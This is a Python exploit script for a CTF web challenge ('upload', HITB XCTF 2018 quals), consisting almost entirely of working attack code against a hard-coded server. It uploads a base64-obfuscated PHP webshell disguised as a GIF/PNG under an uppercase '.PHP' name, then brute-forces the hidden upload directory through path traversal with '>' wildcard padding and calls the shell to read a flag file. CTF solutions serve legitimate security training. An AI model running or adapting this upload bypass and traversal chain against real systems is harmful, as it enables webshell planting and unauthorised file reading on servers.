hitb-xctf-upload(web)

exploit.py

from requests import get, post
from base64 import b64decode

'''
 hitb xctf 2018 quals
 upload (web) - directory wildcard

 made by munsiwoo
'''

def length_adjust(argv) :
	length = 32 - len(argv)
	for x in range(length) :
		argv += '>'
	return argv

def webshell_upload() :
	uri = 'http://47.90.97.18:9999/upload.php'
	headers = {'Content-Type': 'multipart/form-data; boundary=----WebKitFormBoundaryx96MAR4SB4Yfdvog'}

	body =  'LS0tLS0tV2ViS2l0Rm9ybUJvdW5kYXJ5eDk2TUFSNFNCNFlmZHZvZwpDb250ZW50LURp'
	body += 'c3Bvc2l0aW9uOiBmb3JtLWRhdGE7IG5hbWU9ImZpbGUiOyBmaWxlbmFtZT0iLlBIUCIK'
	body += 'Q29udGVudC1UeXBlOiBpbWFnZS9wbmcKCkdJRjg5YS4uLi4uLjw/cGhwIGVjaG8gZmls'
	body += 'ZV9nZXRfY29udGVudHMoJy4uL2ZsYWcucGhwJyk7ID8+Ci0tLS0tLVdlYktpdEZvcm1C'
	body += 'b3VuZGFyeXg5Nk1BUjRTQjRZZmR2b2cKQ29udGVudC1EaXNwb3NpdGlvbjogZm9ybS1k'
	body += 'YXRhOyBuYW1lPSJzdWJtaXQiCgp1cGxvYWQKLS0tLS0tV2ViS2l0Rm9ybUJvdW5kYXJ5'
	body += 'eDk2TUFSNFNCNFlmZHZvZy0t' # <?php echo file_get_contents('../flag.php'); ?>

	body = b64decode(body).decode()
	return post(uri, headers=headers, data=body).text[1:]

def main() :
	uri = 'http://47.90.97.18:9999/'
	payload = (lambda x,y:'pic.php?filename=../{}/{}'.format(x,y))
	webshell = webshell_upload()
	directory = '87194f13726af7cee27ba2cfe97b60'
	# directory = '87194f13726af7cee27ba2cfe97b60df'
	# flag is in the /flag.php

	for x in range(len(directory), 32) :
		for y in 'abcdef0123456789' :
			request = uri + payload(length_adjust(directory + y), webshell)
			response = get(request).text
			
			if(response.find("image error") == -1) :
				directory += y
				break

		print('directory : ' + directory)

	print(get(uri + directory + '/' + webshell).text)


if __name__ == '__main__' :
	main()